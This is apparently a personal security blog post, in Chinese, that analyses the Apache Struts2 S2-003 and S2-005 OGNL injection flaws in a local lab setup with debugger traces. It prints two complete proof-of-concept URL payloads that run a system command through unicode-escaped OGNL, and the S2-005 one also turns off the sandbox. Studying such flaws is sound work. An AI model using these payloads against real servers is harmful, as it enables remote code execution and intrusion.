Hu3sky's blog

java安全漏洞入门之 s2-003&s2-005

Word count: 1,089 / Reading time: 6 min
2019/08/24 Share

S2-003

前言

这篇漏洞分析是自己独立调试的,没有参考师傅们的调试步骤,明白了漏洞的执行步骤,相比于S2-001,对于调试已经漏洞的理解已经有很大程度的提升了

漏洞详情

https://cwiki.apache.org/confluence/display/WW/S2-003

漏洞原因是由于限制了#开头的ognl表达式,但是可以用unicode字符进行绕过,成功执行命令

环境搭建

由于特殊字符的原因,tomcat版本需要低于7,这里选择6.0.9
http://archive.apache.org/dist/tomcat/tomcat-6/v6.0.9/

http://archive.apache.org/dist/struts/binaries/struts-2.0.11.2-all.zip

导入包

1
2
3
4
5
commons-logging-1.0.4.jar
freemarker-2.3.8.jar
ognl-2.6.11.jar
struts2-core-2.0.11.2jar
xwork-2.0.5.jar

image

index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-003</title>
</head>
<body>
<h2>S2-003 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-003">https://cwiki.apache.org/confluence/display/WW/S2-003</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

struts.xml

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-003" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>

com.demo.action.LoginAction.java

1
2
3
4
5
6
7
8
9
10
package com.demo.action;

import ognl.Ognl;
import ognl.OgnlContext;

public class LoginAction {
public String execute() throws Exception{
return "error";
}
}

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">

<display-name>S2-003 Example</display-name>

<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>

<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>

</web-app>

漏洞验证

1
?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ifconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

执行ifconfig
image

漏洞分析

在param拦截器下断点
com.opensymphony.xwork2.interceptor.ParametersInterceptor

image

调试
image
对payload进行正则检测
image
image

限制了不能以#开头,如果以#开头,返回false,就无法执行后面的ognl语句
这里没有检测到,就返回true,跳出while

image
继续跟进setValue
image

然后跟到OgnlUtil类的setValue
image

接着跟到complie方法
image

/xwork-2.0.5.jar!/com/opensymphony/xwork2/util/OgnlUtil.class
返回了值#
image

S2-005

S2-005是在S2-003的基础上进行了修复
新出了一个沙盒机制,默认禁止了静态方法的调用(allowStaticMethodAcces和MethodAccessor.denyMethodExecution)

所以我们可以利用OGNL先把沙盒关闭掉,就又可以执行命令了。

xwork.MethodAccessor.denyMethodExecution设置为false
allowStaticMethodAccess设置为true

这样就可以关闭掉沙盒机制,unicode编码仍然还是可以的,\u0023会被解析成#,POC还是原来的POC,只不过加上了上面的两个设置

poc

1
/login.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ifconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

Referer

CATALOG
  1. 1. S2-003
    1. 1.1. 前言
    2. 1.2. 漏洞详情
    3. 1.3. 环境搭建
    4. 1.4. 漏洞验证
    5. 1.5. 漏洞分析
  2. 2. S2-005
    1. 2.1. poc
  3. 3. Referer